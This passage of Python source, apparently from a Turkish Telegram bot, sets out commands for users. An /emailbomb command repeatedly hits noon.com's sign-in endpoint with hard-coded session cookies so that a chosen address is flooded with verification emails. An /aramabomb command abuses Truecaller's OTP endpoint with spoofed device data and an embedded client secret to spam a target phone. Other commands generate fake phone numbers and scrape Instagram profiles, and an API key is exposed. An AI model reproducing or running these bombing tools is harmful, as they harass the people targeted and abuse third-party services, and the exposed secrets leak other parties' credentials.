"bm_mi": "1CD8174D02AE5A50B262728AE9E0E4C3~YAAQijwSAvJzg8uPAQAAWPZE8Bj17+favukAOK7GdmCNR8U9vX4gPCetN8b4HklWqiq9fK62w+3MNIneWLIvZ2mHsenhlmjazitEuTtuLbbN8L5UYNZRAO5JIdjrb0ZRg56idOlEasqI6djCate0VYpF9nfuSPyUIl+ZMmunJNqkfNTVo4ZcbWObAWQL9wtgJMmoynRRaCDuMH9IkEUfshgKTrePTt6StP+OEFIrezjceJHPFqE1uiOqd+4i0IHj+Xl5fkkuRY6UadIXZUf3bKM4qUUOIoCyFrATD+oJ7ecw7XRbddI+fkbwkTw3iuJJOWSc~1",
"nloc": "en-ae",
"visitor_id": "40fabe5a-cb76-4bc8-b1cc-aaa722182968",
"ak_bmsc": "02CBEE6848564A658389184606E57D84~000000000000000000000000000000~YAAQijwSAjl1g8uPAQAAkjVF8BispnPW5/pwG29bSP3Zvz+WlcZYB+TkIxwNvEo02zzqNnJCRKPpMo+QZuwqhB6BzkUlzM35ZqRZQwyxcucYcam0Fs1/G6Y1HqN4qK7Dmd0+ukeVfTR59WQUkcyMyQyHd0Tj8dr77EXzMyAJvFCNU9ZrqsHpT4YZG+a2rOQ/X8oevVs63QOOeNKEuYuLeiy4GTWo+xfSljfGqqIgztKttq84Lw6PeLJSpzEa+Yo8aWDkH+TsnPk+gCDDNjidfERp7PdmybX4mHC5vAU7vzCX9wrMnn2srnzzWebXTOiHv4RUiApODSMXw/KyRbmicvGWGCqjpSQIBXbephwYsjrchmYMJv2iPbzG8i5Wyckwkpvx+w63t1im4noTfPHSiUKfJi3N+nv9gR93+EEKRiXF+uEKBTmVYHZgKokTeoGlf91Mafx30WDKXGNeTHblxClRfT3NqqziMpAMUjAdazJ7B3KH",
"_gcl_au": "1.1.1992363311.1717723019",
"_ga": "GA1.2.932447586.1717723020",
"_gid": "GA1.2.810733352.1717723020",
"_gat_UA-84507530-14": "1",
"__rtbh.lid": "%7B%22eventType%22%3A%22lid%22%2C%22id%22%3A%22yZCD1xLaXpFvErYKCVC3%22%7D",
"_scid": "51cf5267-1860-4412-a9ee-69cca52bc338",
"_ym_uid": "1717723022853387442",
"_ym_d": "1717723022",
"__rtbh.uid": "%7B%22eventType%22%3A%22uid%22%2C%22id%22%3Anull%7D",
"_tt_enable_cookie": "1",
"_ttp": "eP_6oJDUnwP5aTfWPvvgYfBMamm",
"_fbp": "fb.1.1717723023787.678290488319042795",
"_sctr": "1%7C1717714800000",
"RT": ""z=1&dm=noon.com&si=bw8gq63ca3&ss=lx3zxavh&sl=1&tt=0&obo=1&rl=1"",
"_etc": "f3nlrSXbBAIWGvfp",
"_uetsid": "a47bb480246b11ef8ad0c31f1a857522",
"_uetvid": "a47d7320246b11ef8c8033c7bbfedb6d",
"_scid_r": "51cf5267-1860-4412-a9ee-69cca52bc338",
"_clck": "1tjktpt%7C2%7Cfmf%7C0%7C1619",
"_clsk": "1wiqxif%7C1717723042344%7C1%7C0%7Cq.clarity.ms%2Fcollect",
"bm_sv": "BC246EF83CCC8C1863EDB9526820B60D~YAAQijwSApB3g8uPAQAAErhF8BgEbPmDwM5UOcuufSdZl8yvjazUun32jfvzBjx2/1VNXGyUiw42yCwLdoM/A+kkaCUjvErTw7f16M3i7DpogpmHkwxesEbGz9fYWzDTLXeK/ZzqEICnOdsGFVUta56T0QCY8ZEI8YCSgEZcq1ZbuF3kIfbJqfvQmfRrDd1tF8YkmYuBvA8Rfy0sr5D7aFZBShlOrR7RX0k6xUuhHmY3O3Fm6tOpZvPUojFUYe0=~1",
"th_capi_em": "484e3a089b6e7a33a6703901195669e555a1a584308fdc0ac99af90c43c427c0",
}

headers = {
"authority": "www.noon.com",
"accept": "application/json, text/plain, */*",
"accept-language": "en-US,en;q=0.9,ar-DZ;q=0.8,ar;q=0.7",
"cache-control": "no-cache, max-age=0, must-revalidate, no-store",
"content-type": "application/json",
"origin": "https://www.noon.com",
"referer": "https://www.noon.com/uae-en/account_mobile/",
"sec-ch-ua": ""Not-A.Brand";v="99", "Chromium";v="124"",
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": ""Android"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"x-ab-test": "561,641,731,830,851,861,881",
"x-aby": "{"ipl_v2.enabled":1,"pdp_bos.enabled":1,"otp_login.enabled":1,"pp_entrypoint.enabled":1,"pdp_flyout.flyout_value":0}",
"x-border-enabled": "true",
"x-cms": "v2",
"x-content": "mobile",
"x-ecom-zonecode": "AE_DXB-S5",
"x-lat": "251998495",
"x-lng": "552715985",
"x-locale": "en-ae",
"x-mp": "noon",
"x-platform": "web",
"x-rocket-enabled": "true",
"x-rocket-zonecode": "W00067526A",
"x-visitor-id": "40fabe5a-cb76-4bc8-b1cc-aaa722182968",
}

json_data = {
"emailOrPhone": email,
}

spam_counts[email] = 0
message_id = None

while getattr(threading.currentThread(), "do_run", True):
resp = requests.post(
"https://www.noon.com/_svc/mp-identity-api/auth/sign-in",
cookies=cookies,
headers=headers,
json=json_data,
)

if ""verifyMethodMsg":"Verify your email"" in resp.text:
spam_counts[email] += 1
if message_id:
bot.edit_message_text(chat_id=chat_id, message_id=message_id, text=f"Şu E-Posta'ya: n{email}, n{spam_counts[email]} Tane Spam Atılıdı...")
else:
sent_message = bot.send_message(chat_id, f"Şu E-Mail'e: n{email}, n{spam_counts[email]} Tane Spam Atıldı...")
message_id = sent_message.message_id

time.sleep(5)


@bot.message_handler(commands=['emailbomb'])
@safe_execute
@check_membership
@ban_at
def email_bomb(message):
chat_id = message.chat.id
user_id = message.from_user.id

if is_trial_taken(user_id):
msg = bot.reply_to(message, "Spamlamak İstediğin E-Postayı Gir:")
bot.register_next_step_handler(msg, get_email_bombs, chat_id)
else:
if check_free_limit_mail(user_id):
increment_free_limit_mail(user_id)
msg = bot.reply_to(message, "Spamlamak İstediğin E-Postayı Gir:")
bot.register_next_step_handler(msg, get_email_bombs, chat_id)
else:
bot.reply_to(message, "Haftalık e-posta spam limitinizi aştınız. Premium almak için yöneticimizle iletişime geçin.")

def get_email_bombs(message, chat_id):
email = message.text
if email in email_threads:
bot.send_message(chat_id, "Bu E-Posta Zaten Şuan Spamlanıyor.")
return

thread = Thread(target=send_spam_email, args=(email, chat_id))
thread.start()
email_threads[email] = thread

# Initiate TikTok API call
tiktok_response = send_tiktok_email(email)

bot.send_message(chat_id, f"Şu E-Mail'e Spamlama Başlatıldı;n{email}nnEğer Spamlamayı Durdurmak-İptal Etmek İstersen /email_iptal Komutunu Kullan.")

@bot.message_handler(commands=['email_iptal'])
@safe_execute
@check_membership
@ban_at
def email_iptal(message):
chat_id = message.chat.id
try:
email = message.text.split(' ')[1]
except IndexError:
bot.send_message(chat_id, "Lütfen geçerli bir E-Posta girin: n/email_iptal <email>")
return

if email in email_threads:
email_threads[email].do_run = False
del email_threads[email]
bot.send_message(chat_id, f"Şu E-Mail'e Spamlama Durduruldu; n{email}")
else:
bot.send_message(chat_id, f"Şu E-Mail'e Spamlama Durdurulamadı; n{email}")

#Güzellik Ölç Komutu
user_states_guzellik = {}

# /guzellik_olc komutunu dinleyen handler
@bot.message_handler(commands=['guzellik_olc'])
@safe_execute
@check_membership
@ban_at
def guzellik_olc(msg):
user_states_guzellik[msg.from_user.id] = 'guzellik_olc'
bot.send_message(msg.chat.id, "Selam Dostum! Çekildiğin Bir Fotoğraf Gönder Ve Güzelliğini 100 Üzerinden Değerlendiriyim.")

# Fotoğraf gönderen kullanıcıları dinleyen handler
@bot.message_handler(func=lambda message: user_states_guzellik.get(message.from_user.id) == 'guzellik_olc', content_types=['photo'])
def ph_olc(msg):
if msg.from_user.id == 6806205007: # Özel kullanıcı için işlem
bot.send_message(msg.chat.id, "Hmm...")
time.sleep(5)
bot.reply_to(msg, "Ooo Botun En Renklisi Gelmiş 😎nnBence Yorum Yapmaya Gerek Yok, Bunu Bota Sormak Az Gelir")
else: # Diğer kullanıcılar için işlem
bot.send_message(msg.chat.id, "Birazcık Beklede Şu Güzelliği Hemen Bi Değerlendireyim ;)")
time.sleep(5)
tzz = random.randint(1, 100) # 1 ile 100 arasında rastgele bir sayı seç
bot.reply_to(msg, f"Bence Senin Güzelliğin 100 Üzerinden {tzz}.")
user_states_guzellik[msg.from_user.id] = None

#Hava Durumu Komutu
@bot.message_handler(commands=['hava_durumu'])
@safe_execute
@check_membership
@ban_at
def handle_weather_command(message):
chat_id = message.chat.id
text = """
Şimdi şehir adını gönderin!

Örnek: ( *Istanbul* veya *İstanbul* )
"""
bot.send_message(chat_id, text, parse_mode="markdown", disable_web_page_preview=True)
set_status_w(chat_id, "HavaDurumu")

# Şehir adı gönderen kullanıcıları dinleyen handler
@bot.message_handler(func=lambda message: get_status_w(message.chat.id) == "HavaDurumu")
def handle_weather_info(message):
chat_id = message.chat.id
city = normalize_text_w(message.text)
weather_info = get_weather_info(city)

if weather_info:
response = f"""
Şehir: *{weather_info['city']}*
- - - - - - - - - - - - - - - - - - - - -
Sıcaklık: *{weather_info['temperature']}* °C
Tarih ve Saat: *{weather_info['localtime']}*
Rüzgar Hızı: *{weather_info['wind_speed']}* km/h
Hava Kodu: *{weather_info['weather_code']}*
Rüzgar Derecesi: *{weather_info['wind_degree']}*
Basınç: *{weather_info['pressure']}* hPa
Yağış: *{weather_info['precip']}* mm
Gündüz mü?: *{'Evet' if weather_info['is_day'] == 'yes' else 'Hayır'}*
"""
else:
response = "Belirtilen şehir için hava durumu bilgisi mevcut değil."

bot.send_message(chat_id, response, parse_mode="markdown", disable_web_page_preview=True)
set_status_w(chat_id, "")

def normalize_text_w(text):
replacements = {
'ç': 'c', 'Ç': 'C',
'ğ': 'g', 'Ğ': 'G',
'ı': 'i', 'I': 'i',
'İ': 'I', 'i': 'i',
'ö': 'o', 'Ö': 'O',
'ş': 's', 'Ş': 'S',
'ü': 'u', 'Ü': 'U'
}
for src, target in replacements.items():
text = text.replace(src, target)
return text.lower()

def get_weather_info(city):
api_key = '6838b5470d793ab1e4081f474e6e785d&query'
response = requests.get(f"http://api.weatherstack.com/current?access_key={api_key}&query={city}")

if response.status_code == 200:
data = response.json()
if "current" in data:
return {
"city": data["location"]["name"],
"temperature": data["current"]["temperature"],
"localtime": data["location"]["localtime"],
"wind_speed": data["current"]["wind_speed"],
"weather_code": data["current"]["weather_code"],
"wind_degree": data["current"]["wind_degree"],
"pressure": data["current"]["pressure"],
"precip": data["current"]["precip"],
"is_day": data["current"]["is_day"],
}

return None

def get_status_w(chat_id):
try:
with open(f"{chat_id}.txt", "r") as file:
return file.read().strip()
except FileNotFoundError:
return ""

def set_status_w(chat_id, status):
with open(f"{chat_id}.txt", "w") as file:
file.write(status)

#Headers Çek Komut

def get_headers_g(site):
"""Belirtilen site için HTTP header'larını çeker."""
try:
response = requests.get(f"https://api.hackertarget.com/httpheaders/?q={site}")
if response.status_code == 200:
return response.text
else:
return "SİTENİ BULAMADIM!"
except Exception as e:
return f"Bir hata oluştu: {str(e)}"

@bot.message_handler(commands=['headers'])
@safe_execute
@check_membership
@ban_at
def headers_command(message):
args = message.text.split()
if len(args) < 2:
bot.reply_to(message, "Bu Komut İle Siteden Headers Alabilirsin. Örnegin: n/headers https://example.com")
else:
site = args[1].replace("https://", "").replace("http://", "").split("/")[0] # Protokol ve yolu kaldır
headers = get_headers_g(args[1])
file_name = f"{site}_Headers.txt" # Dosya adını belirle
with open(file_name, "w") as file:
file.write(headers)

with open(file_name, "rb") as file:
bot.send_document(message.chat.id, file, caption="İşte Bu Dosyada Sitenin Headers'i Var")

os.remove(file_name) # Dosyayı sil

#İndex Çek Komut

@bot.message_handler(commands=["index"])
@safe_execute
@check_membership
@ban_at
def handle_index(m):
msg = m.text.split()
if len(msg) == 1:
bot.reply_to(m, "Burada Sana Her Sitenin İndex'ini Atabilirim. Bana Sadece /index Komutundan Sonra İstediğin Sitenin İsmini Yaz.nÖrnek Kullanım;nn/index https://google.comnn Gibi")
else:
fetch_and_send_index(m, msg[1])

def fetch_and_send_index(m, url):
try:
r = requests.get(url).content
with open('index.html', "wb") as f:
f.write(r)
with open('index.html', 'rb') as file:
bot.send_document(m.chat.id, file, caption=f"{url} Linkinin İndex'inn🛡️ • BY: @Tekn0Droid")
os.remove('index.html')
except Exception as e:
bot.reply_to(m, 'Hata: ' + str(e))

#İnsta İnfo Çek Komut

# Instaloader yükleyici nesnesinin oluşturulması
loader = instaloader.Instaloader()

def get_insta_info(username):
"""Belirtilen Instagram kullanıcı adına ait profil bilgilerini çeker."""
try:
# Kullanıcı adına ait profil bilgilerini çek
profile = instaloader.Profile.from_username(loader.context, username)
# Kullanıcı hakkında bilgileri bir string içinde topla
info = f"Kullanıcı adı: {profile.username}nn"
info += f"Tam adı: {profile.full_name}nn"
info += f"Profil fotoğrafı URL: {profile.profile_pic_url}nn"
info += f"Takipçi sayısı: {profile.followers}nn"
info += f"Takip ettiği sayısı: {profile.followees}nn"
info += f"Bio: {profile.biography}nn"
info += f"Web sitesi: {profile.external_url}nn"
info += f"Paylaştığı gönderi sayısı: {profile.mediacount}nn"
return info
except instaloader.exceptions.ProfileNotExistsException:
return "Verdiğin Kullanıcı Adına Göre Bir Profil Yok, Lütfen Başka Bir Kullanıcı Adı Gir."
except Exception as e:
return f"Hata: {str(e)}"

@bot.message_handler(commands=['insta_info'])
@safe_execute
@check_membership
@ban_at
def send_insta_info(message):
args = message.text.split()
if len(args) < 2:
bot.reply_to(message, "Kullanım: /insta_info <instagram_kullanıcı_adı>nÖrnek: /insta_info teknodroidevreni")
else:
username = args[1].lstrip('@') # Kullanıcı adının başındaki @ işaretini kaldır
info = get_insta_info(username)
bot.reply_to(message, info)

#Link Gizle Komut

def mask_linkk(url):
response = requests.get(f"https://is.gd/create.php?format=simple&url={url}")
# Yanıtı doğrudan döndürürüz, hata kontrolü yapılıyorsa burada yapılmalı
masked_url = response.text.strip()
return masked_url

@bot.message_handler(commands=['link_gizle'])
@safe_execute
@check_membership
@ban_at
def url_kisaltt(message):
args = message.text.split(maxsplit=1)
if len(args) < 2:
bot.reply_to(message, "URL kısaltmak için /link_gizle <URL> komutunu kullanın.n"
"Örnek: /link_gizle https://example.com")
return

kullanici_url = args[1]
if not kullanici_url.startswith('https://') and not kullanici_url.startswith('http://'):
bot.reply_to(message, "Lütfen URL'nizi 'http://' veya 'https://' ile başlatın.")
return

try:
kisaltma_sonucu = mask_linkk(kullanici_url)
bot.reply_to(message, f'Kısaltılmış Linkiniz: {kisaltma_sonucu}', disable_web_page_preview=True)
except Exception:
# Hata oluştuğunda kullanıcıya genel bir hata mesajı göster
bot.reply_to(message, "Bir hata oluştu. Lütfen daha sonra tekrar deneyin.")



#MY İD Komut
@bot.message_handler(commands=['myid'])
@safe_execute
@check_membership
@ban_at
def send_user_id(message):
bot.reply_to(message, f"Senin ID'in: `{message.from_user.id}`", parse_mode='Markdown')

#Müzik İndir Komut
@bot.message_handler(commands=['muzik_indir'])
@safe_execute
@check_membership
@ban_at
def request_music(message):
msg = bot.reply_to(message, "Dinlemek İstediğin Müziğin Adını Gir:")
bot.register_next_step_handler(msg, search_and_send_music)

def search_and_send_music(message):
query = message.text

# Büyüteç emojisini hemen gönder
loading_msg = bot.send_message(message.chat.id, "🔎", parse_mode='Markdown')

videosSearch = VideosSearch(query, limit=1)
result = videosSearch.result()

if result["result"]:
video_url = result["result"][0]["link"]

try:
yt = YouTube(video_url)
stream = yt.streams.filter(only_audio=True).first()

path = stream.download(output_path=".", filename=yt.title)

time.sleep(2)

# Büyüteç emojisi mesajını sil
bot.delete_message(message.chat.id, loading_msg.message_id)

with open(path, 'rb') as media: # 'rb' modunda açtığınızdan emin olun
caption = f"➠ 𝑀𝑢𝑧𝑖𝑘: {yt.title}nn➠ 𝐵𝑌; @CVarbV2_bot"
bot.send_audio(message.chat.id, media, caption=caption)

os.remove(path)
except Exception as e:
bot.delete_message(message.chat.id, loading_msg.message_id)
bot.reply_to(message, "İstediğin Parçayı İndiremedim...")
else:
bot.delete_message(message.chat.id, loading_msg.message_id)
bot.reply_to(message, "İstediğin Parçayı Bulamadım...")

#Numara Al Komut
country_codes_numara = {
"Afganistan": "+93",
"Almanya": "+49",
"Amerika Birleşik Devletleri": "+1",
"Andorra": "+376",
"Angola": "+244",
"Arjantin": "+54",
"Arnavutluk": "+355",
"Aruba": "+297",
"Avustralya": "+61",
"Avusturya": "+43",
"Azerbaycan": "+994",
"Bahreyn": "+973",
"Bangladeş": "+880",
"Barbados": "+1-246",
"Belçika": "+32",
"Belize": "+501",
"Benin": "+229",
"Bermuda": "+1-441",
"Beyaz Rusya": "+375",
"Bolivya": "+591",
"Bosna Hersek": "+387",
"Botsvana": "+267",
"Brezilya": "+55",
"Britanya Virgin Adaları": "+1-284",
"Brunei": "+673",
"Bulgaristan": "+359",
"Burkina Faso": "+226",
"Burundi": "+257",
"Çad": "+235",
"Çek Cumhuriyeti": "+420",
"Çin": "+86",
"Danimarka": "+45",
"Doğu Timor": "+670",
"Dominik Cumhuriyeti": "+1-809",
"Ekvador": "+593",
"Ekvator Ginesi": "+240",
"El Salvador": "+503",
"Endonezya": "+62",
"Eritre": "+291",
"Ermenistan": "+374",
"Estonya": "+372",
"Etiyopya": "+251",
"Fas": "+212",
"Fiji": "+679",
"Filipinler": "+63",
"Filistin": "+970",
"Finlandiya": "+358",
"Fransa": "+33",
"Gabon": "+241",
"Gambia": "+220",
"Gana": "+233",
"Gine": "+224",
"Gine-Bissau": "+245",
"Grenada": "+1-473",
"Guatemala": "+502",
"Güney Afrika": "+27",
"Güney Kore": "+82",
"Gürcistan": "+995",
"Haiti": "+509",
"Hırvatistan": "+385",
"Hindistan": "+91",
"Hollanda": "+31",
"Honduras": "+504",
"Hong Kong": "+852",
"Irak": "+964",
"İngiltere": "+44",
"İran": "+98",
"İrlanda": "+353",
"İspanya": "+34",
"İsrail": "+972",
"İsveç": "+46",
"İsviçre": "+41",
"İtalya": "+39",
"Jamaika": "+1-876",
"Japonya": "+81",
"Kamboçya": "+855",
"Kamerun": "+237",
"Kanada": "+1",
"Katar": "+974",
"Kazakistan": "+7",
"Kenya": "+254",
"Kırgızistan": "+996",
"Kiribati": "+686",
"Kolombiya": "+57",
"Komorlar": "+269",
"Kongo": "+242",
"Kosova": "+383",
"Kosta Rika": "+506",
"Kuveyt": "+965",
"Kuzey Kore": "+850",
"Küba": "+53",
"Laos": "+856",
"Lesoto": "+266",
"Letonya": "+371",
"Liberya": "+231",
"Libya": "+218",
"Lihtenştayn": "+423",
"Litvanya": "+370",
"Lübnan": "+961",
"Lüksemburg": "+352",
"Macaristan": "+36",
"Madagaskar": "+261",
"Makedonya": "+389",
"Malavi": "+265",
"Malezya": "+60",
"Maldivler": "+960",
"Mali": "+223",
"Malta": "+356",
"Marshall Adaları": "+692",
"Meksika": "+52",
"Mısır": "+20",
"Moğolistan": "+976",
"Moldova": "+373",
"Monako": "+377",
"Mozambik": "+258",
"Myanmar": "+95",
"Namibya": "+264",
"Nepal": "+977",
"Nijer": "+227",
"Nijerya": "+234",
"Nikaragua": "+505",
"Norveç": "+47",
"Orta Afrika Cumhuriyeti": "+236",
"Özbekistan": "+998",
"Pakistan": "+92",
"Palau": "+680",
"Panama": "+507",
"Papua Yeni Gine": "+675",
"Paraguay": "+595",
"Peru": "+51",
"Polonya": "+48",
"Portekiz": "+351",
"Porto Riko": "+1-787",
"Romanya": "+40",
"Ruanda": "+250",
"Rusya": "+7",
"Saint Kitts ve Nevis": "+1-869",
"Saint Lucia": "+1-758",
"Saint Vincent ve Grenadinler": "+1-784",
"Samoa": "+685",
"San Marino": "+378",
"Sao Tome ve Principe": "+239",
"Senegal": "+221",
"Seyşeller": "+248",
"Sırbistan": "+381",
"Singapur": "+65",
"Slovakya": "+421",
"Slovenya": "+386",
"Solomon Adaları": "+677",
"Somali": "+252",
"Sri Lanka": "+94",
"Sudan": "+249",
"Surinam": "+597",
"Suriye": "+963",
"Suudi Arabistan": "+966",
"Svaziland": "+268",
"Şili": "+56",
"Tacikistan": "+992",
"Tanzanya": "+255",
"Tayland": "+66",
"Tayvan": "+886",
"Togo": "+228",
"Tonga": "+676",
"Trinidad ve Tobago": "+1-868",
"Tunus": "+216",
"Turks ve Caicos Adaları": "+1-649",
"Tuvalu": "+688",
"Türkiye": "+90",
"Türkmenistan": "+993",
"Uganda": "+256",
"Ukrayna": "+380",
"Umman": "+968",
"Ürdün": "+962",
"Uruguay": "+598",
"Vanuatu": "+678",
"Vatikan": "+379",
"Venezuela": "+58",
"Vietnam": "+84",
"Yemen": "+967",
"Yeni Zelanda": "+64",
"Yunanistan": "+30",
"Zambiya": "+260",
"Zimbabve": "+263"
}

def uret_sahte_numara(sayi, baslangic):
numaralar = []
for _ in range(sayi):
numara = ''.join([str(random.randint(0, 9)) for _ in range(10)]) # 10 haneli rastgele numara
tam_numara = f"`{baslangic + numara}`" # Başına ve sonuna ` işareti eklendi
numaralar.append(tam_numara)
return numaralar

def mesajlari_bol_ve_gonder(chat_id, mesaj, max_uzunluk=4096):
if len(mesaj) <= max_uzunluk:
bot.send_message(chat_id, mesaj, parse_mode="Markdown")
else:
mesaj_parcalari = [mesaj[i:i+max_uzunluk] for i in range(0, len(mesaj), max_uzunluk)]
for parca in mesaj_parcalari:
bot.send_message(chat_id, parca, parse_mode="Markdown")

@bot.message_handler(commands=['numara_al'])
@safe_execute
@check_membership
@ban_at
def numara_al(message):
markup = types.InlineKeyboardMarkup()
for country, code in country_codes_numara.items():
markup.add(types.InlineKeyboardButton(country, callback_data=code))
bot.send_message(message.chat.id, "Hangi ülkenin numarasını istersiniz?", reply_markup=markup)

@bot.callback_query_handler(func=lambda call: True)
def handle_country_selection(call):
country_code = call.data
msg = bot.send_message(call.message.chat.id, f"Seçilen ülke kodu: {country_code}nKaç tane numara üretmek istiyorsunuz? (En fazla 130)")
bot.register_next_step_handler(msg, process_number_count, country_code)

def process_number_count(message, baslangic):
try:
sayi = int(message.text)
if sayi > 130:
with open('kullanicilar.txt', 'r+') as f:
lines = f.readlines()
user_line_prefix = f"x) {message.chat.id};"
user_lines = [line for line in lines if user_line_prefix in line]
if user_lines:
ban_date = datetime.datetime.now() + datetime.timedelta(days=60)
ban_date_str = ban_date.strftime('%Y-%m-%d')
new_lines = [line if user_line_prefix not in line else f"x) {message.chat.id};{ban_date_str}n" for line in lines]
f.seek(0)
f.truncate()
f.writelines(new_lines)
bot.send_message(message.chat.id, "Daha önce uyarıldınız ve yine limiti aştınız. 2 ay boyunca bu botu kullanamazsınız.")
return
else:
f.write(f"x) {message.chat.id};n")
bot.send_message(message.chat.id, "En fazla 130 numara üretebilirsiniz. Lütfen bu sınırı aşmayınız. Aksi takdirde yasaklanabilirsiniz.")
return
sahte_numaralar = uret_sahte_numara(sayi, baslangic)
numaralar_mesaji = "n".join(sahte_numaralar)
mesajlari_bol_ve_gonder(message.chat.id, numaralar_mesaji)
except ValueError:
bot.reply_to(message, "Lütfen geçerli bir sayı girin.")

#Arama Bomb Komut
kullanici_islevleri = {} # Kullanıcı işlemleri için bir sözlük

def send_spam(phone_number):
gigk = ''.join(random.choice('123456789') for _ in range(10))
md5 = hashlib.md5(gigk.encode()).hexdigest()[:16]
headers = {
"Host": "account-asia-south1.truecaller.com",
"content-type": "application/json; charset=UTF-8",
"accept-encoding": "gzip",
"user-agent": "Truecaller/12.34.8 (Android;8.1.2)",
"clientsecret": "lvc22mp3l1sfv6ujg83rd17btt"
}
data = {
"countryCode": "eg",
"dialingCode": 20,
"installationDetails": {
"app": {
"buildVersion": 8,
"majorVersion": 12,
"minorVersion": 34,
"store": "GOOGLE_PLAY"
},
"device": {
"deviceId": md5,
"language": "ar",
"manufacturer": "Xiaomi",
"mobileServices": ["GMS"],
"model": "Redmi Note 8A Prime",
"osName": "Android",
"osVersion": "7.1.2",
"simSerials": ["8920022021714943876f", "8920022022805258505f"]
}
},
"language": "ar",
"sims": [
{"imsi": "602022207634386", "mcc": "602", "mnc": "2", "operator": "vodafone"},
{"imsi": "602023133590849", "mcc": "602", "mnc": "2", "operator": "vodafone"}
],
"phoneNumber": "+213" + phone_number,
"region": "region-2",
"sequenceNo": 1
}
response = requests.post("https://account-asia-south1.truecaller.com/v3/sendOnboardingOtp", headers=headers, json=data)
return response.json() # Return JSON object

def handle_spam(chat_id, phone_number):
response_json = send_spam(phone_number)
# Yanıtlara göre özelleştirilmiş mesajlar
if response_json.get("status") == 5 and response_json.get("message") == "Phone number limit reached":
parsed_phone_number = response_json.get("parsedPhoneNumber", "")
parsed_country_code = response_json.get("parsedCountryCode", "")
bot.send_message(chat_id, f"🔥 Numara; +{parsed_phone_number}nn"
f"🌍 Ülke Kodu; +{parsed_country_code}nn"
f"⚠️ Spam Durumu; Fazla İstekten Dolayı İşlem Başarısız, Lütfen Başka Bir Numara Gir. "
f"Bu Numaranın Spamlama Hakkı Doldu.")
elif response_json.get("status") == 40003 and response_json.get("message") == "Invalid phone number":
bot.send_message(chat_id, "❌ Geçersiz telefon numarası girdiniz. Lütfen geçerli bir numara girin.")
elif response_json.get("status") == 1 and response_json.get("message") == "Sent":
parsed_phone_number = response_json.get("parsedPhoneNumber", "")
parsed_country_code = response_json.get("parsedCountryCode", "")
request_id = response_json.get("requestId", "")
method = response_json.get("method", "")
token_ttl = response_json.get("tokenTtl", "")
bot.send_message(chat_id, f"📞 Numara; +{parsed_phone_number}nn"
f"🌏 Ülke Kodu; +{parsed_country_code}nn"
f"🆔 İstek ID; {request_id}nn"
f"🚀 Yöntem; {method}nn"
f"⏱ Token TTL; {token_ttl} dakikann"
f"✅ İşlem başarılı, Spamlama gönderildi.")
else:
bot.send_message(chat_id, f"Response: {response_json}")

@bot.message_handler(commands=['aramabomb'])
@safe_execute
@check_membership

@ban_at
def handle_command(message):
chat_id = message.chat.id
msg = bot.send_message(chat_id, "Numara Giriniz (+90 Ekle):")
bot.register_next_step_handler(msg, process_number)

def process_number(message):
chat_id = message.chat.id
phone_number = message.text.strip()
threading.Thread(target=handle_spam, args=(chat_id, phone_number), daemon=True).start()
bot.send_message(chat_id, "İşleminiz işleniyor.")


#Oyun Komut
def update_balance_o(user_id, change):
try:
with open('bakiye.txt', 'r') as file:
balances = file.readlines()
except FileNotFoundError:
balances = []

user_balances = {line.split(':')[0]: line.split(':')[1].strip() for line in balances}

if user_id in user_balances:
balance_info = user_balances[user_id]
balance = int(balance_info.split()[0])
new_balance = balance + change
user_balances[user_id] = f'{new_balance}'
else:
user_balances[user_id] = f'{change}'

with open('bakiye.txt', 'w') as file:
for uid, balance in user_balances.items():
file.write(f'{uid}:{balance}n')


def get_balance_o(user_id):
try:
with open('bakiye.txt', 'r') as file:
balances = file.readlines()
except FileNotFoundError:
balances = []

user_balances = {line.split(':')[0]: line.split(':')[1].strip() for line in balances}

if user_id in user_balances:
balance_info = user_balances[user_id]
balance = int(balance_info.split()[0])
return balance
return 0

@bot.message_handler(commands=['oyun'])
@safe_execute
@check_membership
@ban_at
def oyun_bakiye(message):
reply = (
"Bu Komut İle Bakiye Kazanabilirsin.n"
"İşte Komutlar:n"
"≈ Riske Girerek Bakiye Kazanmak İçin /bahisn"
"≈ Bakiyenizi Öğrenmek İçin /bakiyen"
"≈ Bakiye Aktarımı Yapmak İçin /bakiye_aktarn"
"≈ Random Bonus Kazanmak İçin /bonusn"
"≈ En Yüksek Rekorları Görmek İçin /rekornn"
"İşte Oyunlar:n"
"/zar 🎲n"
"/dart 🎯n"
"/bowling 🎳n"
"/slot 🎰n"
"/yazitura 🪙n"
"/adam_asmaca 🛐"
)
bot.reply_to(message, reply)

def kalin_serif(s):
return ''.join(chr(0x1D400 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower())

@bot.message_handler(commands=['zar'])
@safe_execute
@check_membership
@ban_at
def roll_dice_o(message):
user_id = str(message.from_user.id)
msg = bot.send_dice(message.chat.id, emoji='🎲')
time.sleep(4)
dice_value = msg.dice.value
update_balance_o(user_id, dice_value)
new_balance = get_balance_o(user_id)
bot.send_message(message.chat.id, f'🎲 • <strong>Zar sonucu:</strong> {dice_value}nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(new_balance))}', reply_to_message_id=message.message_id, parse_mode='HTML')

@bot.message_handler(commands=['dart'])
@safe_execute
@check_membership
@ban_at
def throw_dart_o(message):
user_id = str(message.from_user.id)
msg = bot.send_dice(message.chat.id, emoji='🎯')
time.sleep(3)
dart_value = msg.dice.value
if dart_value == 1: # Ok dışarı çıktığında
update_balance_o(user_id, -5)
bot.send_message(message.chat.id, f'🎯 • <b>Ok dışarı çıktı! 5 bakiye kaybettin.</b>nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(get_balance_o(user_id)))}', reply_to_message_id=message.message_id, parse_mode='HTML')
else:
update_balance_o(user_id, dart_value)
bot.send_message(message.chat.id, f'🎯 • <b>Atılan Sayı:</b> {dart_value}nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(get_balance_o(user_id)))}', reply_to_message_id=message.message_id, parse_mode='HTML')

@bot.message_handler(commands=['bowling'])
@safe_execute
@check_membership
@ban_at
def throw_bowling_o(message):
user_id = str(message.from_user.id)
msg = bot.send_dice(message.chat.id, emoji='🎳')
time.sleep(3)
bowling_value = msg.dice.value

if bowling_value == 1:
